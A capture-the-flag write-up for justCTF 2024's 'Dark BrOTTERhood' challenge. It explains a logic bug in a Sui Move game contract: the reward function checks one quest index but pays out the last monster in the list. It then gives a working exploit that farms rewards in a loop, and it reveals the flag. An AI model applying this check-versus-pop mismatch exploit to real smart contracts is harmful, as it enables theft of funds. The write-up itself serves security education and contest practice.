Dark BrOTTERhood (justCTF teaser 2024)

> by FluxFingers

Challenge

> In the shadowed corners of the Dark Brotterhood's secrets, lies a tavern where valiant Otters barter for swords and shields. Here, amidst whispers of hidden bounties, adventurers find the means to battle fearsome monsters for rich rewards. Join this clandestine fellowship, where the blockchain holds mysteries to uncover. Otters of Valor, your destiny calls; may your path be lined with both honor and gold.

Challenge created by embe221ed & Darkstar49 from OtterSec

`nc db.nc.jctf.pro 31337`

https://s3.cdn.justctf.team/42840bf9-5734-42c6-9463-2b61238148e8/db_docker.tar.gz

The setup is the same as for The Otter Scrolls

Taking Over the BrOTTERhood

This time the smart contract implements a little text adventure where we can fight monsters and buy better gear. The goal is to buy the flag item and prove it to the contract.

The problem is that we start out with 137 coins and the flag costs 1337. So we need to slay some monsters to gain more coins. But we also need to buy a new sword for each monster we want to slay because it breaks afterwards. Buying a sword costs 137 coins but slaying a monster can only give up to 37 coins. This means that the monster slaying business is not profitable and we have to take another route.

The other route is of course to become a hacker and break the game. Most of the functionality looks pretty sane. But one bug can be found in the function `get_the_reward` which is used to claim the reward for slaying a monster:

```
    #[allow(lint(self_transfer))]
    public fun get_the_reward(
        vault: &mut Vault<OTTER>,
        board: &mut QuestBoard,
        player: &mut Player,
        quest_id: u64,
        ctx: &mut TxContext,
    ) {
        let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
        assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);

        let monster = vector::pop_back(&mut board.quests);

        let Monster {
            fight_status: _,
            reward: reward,
            power: _
        } = monster;

        let coins = coin::split(&mut vault.cash, (reward as u64), ctx);
        coin::join(&mut player.coins, coins);
    }
```

As can be seen the `quest_to_claim` is taken from the given `quest_id` but then `monster` is retrieved by using `vector::pop_back` which retrieves the last item of the list. So the `assert!` is potentially checked against another monster then the one from which the reward is given. This can be exploited by finding two monsters. Slaying the first and leaving the second one alive. Now if `get_the_reward` is called with `quest_to_claim=0` the `assert!` will pass as it checks against the killed monster but we will get the reward for the second monster. We can now find new monsters and claim the reward from them without actually killing them. Nice!

Here is the final exploit:

```
    #[allow(lint(public_random))]
    public fun solve(
        _vault: &mut Otter::Vault<OTTER>,
        _questboard: &mut Otter::QuestBoard,
        _player: &mut Otter::Player,
        _r: &Random,
        _ctx: &mut TxContext,
    ) {
        // buy sword to kill monster
        challenge::Otter::buy_sword(_vault, _player, _ctx);
        // get first monster to the correct state
        challenge::Otter::find_a_monster(_questboard, _r, _ctx);
        challenge::Otter::fight_monster(_questboard, _player, 0);
        challenge::Otter::return_home(_questboard, 0);

        // claim reward for other monsters in a loop
        let mut i = 0;
        while (i < 1000) {
            i = i + 1;
            challenge::Otter::find_a_monster(_questboard, _r, _ctx);
            challenge::Otter::get_the_reward(_vault, _questboard, _player, 0, _ctx);
        };

        // buy the flag and submit it
        let flag = challenge::Otter::buy_flag(_vault, _player, _ctx);
        challenge::Otter::prove(_questboard, flag);
    }

}
```

Running this exploit yields the flag `justCTF{I_us3d_to_b3_an_ott3r_until_i_t00k_th4t_arr0w}`